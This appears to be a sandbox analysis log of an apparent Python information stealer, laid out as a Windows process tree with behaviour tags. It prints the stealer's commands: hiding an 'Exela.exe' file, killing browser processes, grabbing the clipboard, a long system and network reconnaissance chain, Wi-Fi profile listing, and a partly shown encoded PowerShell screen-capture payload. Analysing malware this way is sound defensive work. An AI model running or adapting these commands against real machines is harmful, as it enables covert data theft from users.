    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=7876 -childID 10 -isForBrowser -prefsHandle 7648 -prefMapHandle 7320 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8849f32-1937-40d4-ae9c-7e3ab55581b5} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:1500
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8116 -childID 11 -isForBrowser -prefsHandle 8168 -prefMapHandle 8164 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f4a3841e-362e-4039-ae54-5728bc3a9329} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5508
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6248 -childID 12 -isForBrowser -prefsHandle 7896 -prefMapHandle 7884 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {750513f2-6f00-4740-9a2e-31c63318de09} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:4428
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8608 -childID 13 -isForBrowser -prefsHandle 7892 -prefMapHandle 7872 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c66ba392-9f35-48b2-8247-a29832669948} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5836
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4876 -childID 14 -isForBrowser -prefsHandle 8908 -prefMapHandle 8904 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b239b38f-f94c-4935-be84-7354eb5f8c42} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5556
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8872 -childID 15 -isForBrowser -prefsHandle 9048 -prefMapHandle 9052 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7e66cc61-edbd-4d6a-82bc-4b922330da56} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:3308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9220 -childID 16 -isForBrowser -prefsHandle 9228 -prefMapHandle 9232 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b8c91282-f8dd-4432-8a12-ca48763f829a} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:1644
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8924 -childID 17 -isForBrowser -prefsHandle 9756 -prefMapHandle 8904 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {126c89cb-209b-480a-a3b6-314166007370} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:3656
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10016 -childID 18 -isForBrowser -prefsHandle 10092 -prefMapHandle 10088 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c5308b-c23f-4245-8c47-180021dc5b36} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:1716
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10276 -childID 19 -isForBrowser -prefsHandle 9984 -prefMapHandle 9988 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e72fa35f-2267-4070-803a-27db5c3b2a2c} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:6564
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=8888 -childID 20 -isForBrowser -prefsHandle 10376 -prefMapHandle 9988 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ef820e9-fcc8-4005-acd5-92b8af5ddbd6} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:7028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10360 -childID 21 -isForBrowser -prefsHandle 10344 -prefMapHandle 10276 -prefsLen 28038 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {694fdb7d-1699-4776-bde3-8ac3cc43ee86} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:7036
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6096 -childID 22 -isForBrowser -prefsHandle 10048 -prefMapHandle 6184 -prefsLen 28094 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1526ea16-0ff5-4ac8-bbf7-3226b2839295} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:6888
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10384 -childID 23 -isForBrowser -prefsHandle 10808 -prefMapHandle 10804 -prefsLen 28094 -prefMapSize 244658 -jsInitHandle 1208 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8319d41e-6373-4b70-a73a-f585f82cbd9f} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" tab
    3⤵
    PID:5620
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=9872 -parentBuildID 20240401114208 -prefsHandle 7884 -prefMapHandle 9480 -prefsLen 30629 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {05d54ce7-40e5-4dd3-81ae-bbc458668ecd} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" rdd
    3⤵
    PID:7404
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=10972 -parentBuildID 20240401114208 -sandboxingKind 1 -prefsHandle 9284 -prefMapHandle 9772 -prefsLen 30629 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {df1f5875-7425-44b7-b6d5-2d284d7b58ab} 3208 "\\.\pipe\gecko-crash-server-pipe.3208" utility
    3⤵
    - Checks processor information in registry
    PID:7408

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DDEB6E41D040AF93953076C660F8B55A
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3616
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" -E -s -m ensurepip -U --default-pip
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1900
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe -W ignore::DeprecationWarning -c " import runpy import sys sys.path = ['C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpox9rx6e_\\setuptools-65.5.0-py3-none-any.whl', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpox9rx6e_\\pip-22.3-py3-none-any.whl'] + sys.path sys.argv[1:] = ['install', '--no-cache-dir', '--no-index', '--find-links', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\tmpox9rx6e_', '--upgrade', 'setuptools', 'pip'] runpy.run_module(\"pip\", run_name=\"__main__\", alter_sys=True) "
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:5276

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:6684

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Checks computer location settings
PID:7092
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install requests
  2⤵
  - Executes dropped EXE
  PID:2484
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install requests
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2368
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:3628
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:6616
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:7188
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      Executes dropped EXE
      PID:7220
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install aiohttp
  2⤵
  - Executes dropped EXE
  PID:2540
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install aiohttp
    3⤵
    - Executes dropped EXE
    PID:7952
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7944
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7608
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:7828
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      Executes dropped EXE
      PID:7528
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:4568
- C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe
  pip install cryptography
  2⤵
  - Executes dropped EXE
  PID:4956
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    "C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe" "C:\Users\Admin\AppData\Local\Programs\Python\Python311\Scripts\pip.exe" install cryptography
    3⤵
    - Executes dropped EXE
    PID:8060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ver"
      4⤵
      PID:7180
- C:\Windows\py.exe
  "C:\Windows\py.exe" "C:\Users\Admin\Downloads\main.py"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:7852
- - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
    C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe "C:\Users\Admin\Downloads\main.py"
    3⤵
    - Executes dropped EXE
    PID:2156
  - - C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe
      C:\Users\Admin\AppData\Local\Programs\Python\Python311\python.exe C:\Users\Admin\AppData\Local\Temp\test.py
      4⤵
      Deletes itself
      Executes dropped EXE
      PID:7916
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:7956
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:8048
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2380
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:7872
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:2796
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        
        PID:2484
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
        6⤵
        Views/modifies file attributes
        
        PID:4924
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist"
        5⤵
        
        PID:8096
      - C:\Windows\system32\tasklist.exe
        
        tasklist
        6⤵
        Enumerates processes with tasklist
        
        PID:3356
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3208"
        5⤵
        
        PID:6116
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3208
        6⤵
        Kills process with taskkill
        
        PID:6364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2716"
        5⤵
        
        PID:4800
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 2716
        6⤵
        Kills process with taskkill
        
        PID:5420
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 644"
        5⤵
        
        PID:524
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 644
        6⤵
        Kills process with taskkill
        
        PID:6108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4628"
        5⤵
        
        PID:6076
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4628
        6⤵
        Kills process with taskkill
        
        PID:4784
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 384"
        5⤵
        
        PID:5544
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 384
        6⤵
        Kills process with taskkill
        
        PID:7256
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1048"
        5⤵
        
        PID:7188
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1048
        6⤵
        Kills process with taskkill
        
        PID:2528
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5524"
        5⤵
        
        PID:7268
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5524
        6⤵
        Kills process with taskkill
        
        PID:4456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5532"
        5⤵
        
        PID:7392
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5532
        6⤵
        Kills process with taskkill
        
        PID:7388
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5548"
        5⤵
        
        PID:2056
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5548
        6⤵
        Kills process with taskkill
        
        PID:2364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3400"
        5⤵
        
        PID:640
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3400
        6⤵
        Kills process with taskkill
        
        PID:5852
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3352"
        5⤵
        
        PID:6460
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3352
        6⤵
        Kills process with taskkill
        
        PID:7492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4412"
        5⤵
        
        PID:7052
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4412
        6⤵
        Kills process with taskkill
        
        PID:8168
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5452"
        5⤵
        
        PID:4072
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5452
        6⤵
        Kills process with taskkill
        
        PID:2200
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5508"
        5⤵
        
        PID:7156
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5508
        6⤵
        Kills process with taskkill
        
        PID:2736
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4428"
        5⤵
        
        PID:6956
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4428
        6⤵
        Kills process with taskkill
        
        PID:1020
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5836"
        5⤵
        
        PID:6224
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5836
        6⤵
        Kills process with taskkill
        
        PID:7080
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5556"
        5⤵
        
        PID:8164
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5556
        6⤵
        Kills process with taskkill
        
        PID:8108
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3308"
        5⤵
        
        PID:1464
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3308
        6⤵
        Kills process with taskkill
        
        PID:6624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1644"
        5⤵
        
        PID:7928
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1644
        6⤵
        Kills process with taskkill
        
        PID:7952
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3656"
        5⤵
        
        PID:7600
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3656
        6⤵
        Kills process with taskkill
        
        PID:5068
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1716"
        5⤵
        
        PID:6416
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 1716
        6⤵
        Kills process with taskkill
        
        PID:7684
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7036"
        5⤵
        
        PID:7556
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7036
        6⤵
        Kills process with taskkill
        
        PID:7808
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 6888"
        5⤵
        
        PID:7648
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 6888
        6⤵
        Kills process with taskkill
        
        PID:7592
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 5620"
        5⤵
        
        PID:1176
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 5620
        6⤵
        Kills process with taskkill
        
        PID:7892
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7404"
        5⤵
        
        PID:7696
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7404
        6⤵
        Kills process with taskkill
        
        PID:6964
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 7408"
        5⤵
        
        PID:1600
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 7408
        6⤵
        Kills process with taskkill
        
        PID:7228
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:5400
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:6688
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:7364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
        5⤵
        
        PID:8004
      - C:\Windows\system32\cmd.exe
        
        cmd.exe /c chcp
        6⤵
        
        PID:1236
        
        C:\Windows\system32\chcp.com
        
        chcp
        7⤵
        
        PID:6084
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        
        PID:8008
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        
        PID:6788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
        5⤵
        Clipboard Data
        
        PID:5900
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe Get-Clipboard
        6⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:6980
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
        5⤵
        Network Service Discovery
        
        PID:3796
      - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        6⤵
        Gathers system information
        
        PID:2916
      - C:\Windows\system32\HOSTNAME.EXE
        
        hostname
        6⤵
        
        PID:1524
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic logicaldisk get caption,description,providername
        6⤵
        Collects information from the system
        Suspicious behavior: EnumeratesProcesses
        
        PID:968
      - C:\Windows\system32\net.exe
        
        net user
        6⤵
        
        PID:4816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user
        7⤵
        
        PID:3868
      - C:\Windows\system32\query.exe
        
        query user
        6⤵
        
        PID:6064
        
        C:\Windows\system32\quser.exe
        
        "C:\Windows\system32\quser.exe"
        7⤵
        
        PID:3348
      - C:\Windows\system32\net.exe
        
        net localgroup
        6⤵
        
        PID:2320
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup
        7⤵
        
        PID:5800
      - C:\Windows\system32\net.exe
        
        net localgroup administrators
        6⤵
        
        PID:7292
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators
        7⤵
        
        PID:856
      - C:\Windows\system32\net.exe
        
        net user guest
        6⤵
        
        PID:6612
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user guest
        7⤵
        
        PID:800
      - C:\Windows\system32\net.exe
        
        net user administrator
        6⤵
        
        PID:5212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user administrator
        7⤵
        
        PID:2076
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic startup get caption,command
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5208
      - C:\Windows\system32\tasklist.exe
        
        tasklist /svc
        6⤵
        Enumerates processes with tasklist
        
        PID:5320
      - C:\Windows\system32\ipconfig.exe
        
        ipconfig /all
        6⤵
        Gathers network information
        
        PID:1260
      - C:\Windows\system32\ROUTE.EXE
        
        route print
        6⤵
        
        PID:2780
      - C:\Windows\system32\ARP.EXE
        
        arp -a
        6⤵
        Network Service Discovery
        
        PID:1404
      - C:\Windows\system32\NETSTAT.EXE
        
        netstat -ano
        6⤵
        System Network Connections Discovery
        Gathers network information
        
        PID:1048
      - C:\Windows\system32\sc.exe
        
        sc query type= service state= all
        6⤵
        Launches sc.exe
        
        PID:6128
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show state
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2508
      - C:\Windows\system32\netsh.exe
        
        netsh firewall show config
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:6888
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        5⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5888
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:7540
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
        
        PID:7160
      - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5916
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAI